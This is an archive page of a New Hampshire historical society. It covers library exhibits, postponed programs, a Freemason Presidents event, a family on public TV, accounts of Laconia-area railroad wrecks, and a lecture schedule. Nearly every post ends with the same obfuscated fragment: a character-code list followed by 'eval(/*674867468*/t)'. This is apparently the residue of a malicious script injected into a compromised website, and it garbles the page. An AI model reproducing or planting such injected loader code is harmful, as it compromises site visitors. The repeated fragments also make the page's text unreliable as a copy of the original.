Category: Archive

 

(Posted March 23, 2017) Recently on display at the Laconia Public Library are materials pertaining to the United States Navy service of Robert A. Giguere, Lakeport native, who participated in the D-Day Invasion of World War II. (Enter the library by the Church Street entrance and turn left. The display will be located just before the Circulation Desk.)&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

On December 7, 2016 LHMS opened an overview exhibit of this important 197 year old local organization. As the oldest continuous Freemason Lodge (1819) located in what became Belknap County, Mt. Lebanon Lodge continues a strong tradition of philanthropic and charitable service to the community.
The exhibit may be viewed, on the Upper Level of the Laconia Public Library, during normal library hours, Monday through Saturday.&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

 

Mt. Lebanon Lodge 32 will present a public program recognizing the 14 Freemason Presidents at 7 p.m. Wednesday, Feb. 22, in the upper gallery of the Laconia Public Library, under the auspices of the Laconia Historical and Museum Society.

Offered nationally at a number of venues, this program recognizes Brethren who have achieved the country’s highest office while Freemasons. This moving ceremony is an educational opportunity allowing intellectual and civic insight into some of the many achievements of these individuals.

The event will last approximately 45 minutes and is free and open to the public.

For further information, contact LHMS at 527-1278, or lhmslpl@metrocast.net&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

(Posted Monday, Feb. 13, 2017) Even though the Laconia Public Library has opened, today, the cancellation of tonight’s IOOF program remains in force; a new date will be announced for the program.

(Posted Saturday, Feb. 11, 2017) I thought that with this next storm due to end around lunch or early afternoon Monday, we could still do the IOOF Symposium. The problem seems to be the 1-2 feet of snow and ongoing 40 mph winds forecast to precede our event. Again, city cleanup of Library grounds ends at 3:30 and there’s no guarantee that the building will even be open. Please add to the mix the consideration of our speakers traveling from Gilmanton, Loudon, Weare, and you get the idea. Our participants and members continue to expect a certain degree of common sense in these matters. The program is being canceled/postponed yet again.

We’re already looking at appropriate IOOF third and fourth alternative backup dates for late winter and early spring. Stay tuned. The Library also continues to reschedule their winter programs.

The Presidents Day Recognition remains intact for Wednesday 2/22 at 7p.m. Please note that an informal gathering with refreshments will begin between 6-6:30. Our short Annual Meeting w/election of officers will be at 6:45. The recognition will begin at 7 sharp and probably wrap up by 7:45. We expect to close with the Library at 8 and say good night to patrons at that time.

As we move to inform all interested parties, please help us when you can in the coming hours. If you’re aware of someone who may have indicated their intention to join us Monday, let them know it’s off.

We hope to be back at you with another schedule this coming week. Thank you for your continued support and we expect our Tuesday 11-1 Water St. session to be held as usual on 2/14.

Stay warm

Pat Tierney, Executive Director&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

The May Family — December 2016

Jacob May of Laconia, NH, who had come to this country from Germany in 1879, went on to found a hosiery mill in Nashville, Tennessee. During World War II, he was instrumental in bringing 200 Jews out of Germany ahead of the Nazis. May and his family are the subject of a program in the “American Family” series on Public TV. Go to http://www.ouramericanfamilytv.com/ for more information.

Broadcast dates, coast to coast, are listed as Tuesday, Dec. 20 at 9:30 p.m. and  1:30 a.m. (Eastern Time Zone) and Dec. 21 at 9:30 a.m. and 3:30 p.m. (Eastern Time Zone). A short excerpt from the film is available for viewing at the website given above. (A Google search for “Jacob May” will bring up several contemporary newspaper articles about him and his family, primarily from the Daily Tennessean in Nashville.)

— Moved to Archive, Dec. 23, 2016&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Railroad Wrecks
September 15, 1900

On September 15, 1900 two trains, one headed northbound, the other headed southbound, collided with one another just north of the Weirs station at 12:30 in the morning.  The accident instantly killed two railroad employees and seriously injured four other people, as well as left over $100,000 in damage strewn about the tracks and on the shores of Lake Winnipesaukee.   It was the worst freight wreck to occur on the White Mountain division of the Boston and Maine railroad to date.

“So great was the force of the collision that the locomotives were simply welded together, and then the forward cars, impelled by the momentum, jumped onto and over them in a wild game of leap-frog, transforming them in a twinkling from powerful machines into heaps of junk.”

Laconia Democrat 9/21/1900

The accident occurred due to conflicting or misunderstood orders issued to the crews of each train. Reportedly, the southbound train had been told that the northbound train, the regular freight, would wait for it at the Lakeport station, thus giving it free reign of the track.  Apparently, the northbound train did not receive or did not understand the orders.

The crash occurred at a difficult section of the line, where, as the track rounded a bend, there was a steep rocky cliff to one side and a drop-off into the lake on the other side.  This difficult pass proved a lucky spot for one engineer who, upon realizing his locomotive’s impending doom, leapt from the speeding train into Lake Winnipesaukee, saving his own life.

Not as lucky were Joseph Greenwood and Loring Lockwood, both originally from Vermont.  The two men’s bodies were found within the wreckage, and were assumed to have been killed instantly.  Although reported dead by many the day after the crash, one-time Laconia resident, Edwin Royce, made a steady recovery from his life-threatening injuries as the days passed.  All other injured people recovered as well.

Although wrecks like these were often nothing but terrible news, a local newspaper reported an interesting bright side to the disaster for some locals:

“…Perishable freight from the wreck was secured by residents near the scene of the accident and by parties who came in steamers, row and sail-boats.  One man picked up eight bushels of potatoes; another captured a side of beef, while canned goods, chickens, turkeys and vegetables from the wreck furnished free dinners for many people at the expense of the Boston and Maine railroad.”

Laconia Democrat 9/21/1900

September 1, 1897

The horse-drawn buggy that 28-year-old Frank W. Clay and 27-year-old Minnie B. Johnson were riding from Lakeport to Laconia in was struck by a B&MRR train on the evening of Wednesday, September 1, 1897 at a Messer Street crossing.  The two were severely injured, Clay having been thrown 106 feet from the hit, and Johnson 69 feet.  Both were found nearly dead, tangled in debris just after the crash by witnesses.  Doctors were sent for, and because there was no hospital in Laconia at the time, the two were brought to the Mount Belknap Hotel on Union Avenue in Lakeport for treatment.

Although it was apparent that Clay would have seen the oncoming train, it is unknown whether his horse became unmanageable or he misjudged the distance, because witnesses said the buggy made its way to the crossing at a gallop’s pace.  The buggy was destroyed “as though it had been a salt box” and the couple became rag-dolls.  For three days after the accident, both Clay and Johnson lay at the Mount Belknap Hotel, unconscious.  On September 4th, Johnson succumbed to her injuries.  Throughout the following weeks, Clay made a slow recovery.

April 17, 1927

Earnest Dow was killed when his automobile was struck by a train at the Messer Street railroad crossing on the afternoon of April 17, 1927. Mr. Dow was a 46-years-old farmer from Northfield, married but with no children.  The explanation reported by a local newspaper for Mr. Dow not hearing the crossing warning was that his Ford was equipped with a “winter top” which prevented the sound from coming in the vehicle.

The one passenger in Mr. Dow’s automobile was Mrs. William Murphy, a 22-year-old wife and mother of four (the youngest of her children had been born just two weeks prior to the accident).  A friend of Mrs. Murphy’s parents, Mr. Dow had just set out to take Mrs. Murphy to visit her sister in Ashland.   Mrs. Murphy suffered extensive injuries but did not lose her life in the wreck.&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

This material was salvaged from the old website.

March 30 – April 6 (Year unknown)

New England Landscape painting by Gerri Harvey
Lakes Region Art Association Begins 75th Anniversary Celebration
Lakes Region Art Association Begins 75th Anniversary Celebration

Member Exhibit at Laconia Public Library

The Lakes Region Art Association launches its celebration of 75th Anniversary with a member exhibit. The show will be from March 30 to April 6. At the Laconia Public Library at 695 N. Main Street in downtown Laconia. It is open to the public.

This event features framed artwork pieces. The mediums represented are watercolors, oil and acrylic paintings, pastels and drawings.

Lakes Region Art Association is celebrating its 75th year of supporting artists in the Lakes Region. Since 1940, it has been an active group promoting the arts and local artists, both amateur and professional.

Explore the Association’s web site: www.lakesregionartassociation.com for updates and activities.

This Historic Churches of Laconia on view through March 27

August 2, 1990 marked the beginning of the Iraq War (Aug 2, 1990 – Feb 28, 1991), codenamed “Operation Desert Storm” and also known as the Persian Gulf War, the First Gulf War, Gulf War I and the First Iraq War.&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

•    January 11 Hans Hug “What Lies Beneath Lake Winnipesaukee?”
•    February 22 Dick Smith Adaptive Skiing
•    March 21 Robin Moyer History of The Laconia Police Department
•    March 28 Warren Huse The Laconia Car Company
•    April 18 Gordon DuBois Hiking Muir Trail
•    May 16 Warren Sommers A Day in the Life of a Civil War Soldier
•    May 21 Fred Merrill Annual tour of NH Vets Association building complex at The Weirs
•    June 20 Wayne Snow /F. A. Putnam and his significant local influence
•    July 18 Milo Pike and The Pike Family 19th century beginnings
•    August 15 Chief Ken Erickson History of The Laconia Fire Department
•    September 19 Captain Jim Morash of SS Mount Washington and The Big Boats of Winnipesaukee
•    October 17 Annual Joint Meeting at Gilford Thompson Ames Historical Society
•    November 21 Members of The Laconia Congregational Church present their history
•    December 7 The Brethren of Mt. Lebanon Lodge #32 present a formal public opening of their exhibit at the Laconia Public Library Gallery. (NOTE: The program, originally scheduled for Dec. 12, “History of Chocorua Lodge, Independent Order of Odd Fellows,” will be rescheduled for early 2017.)&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);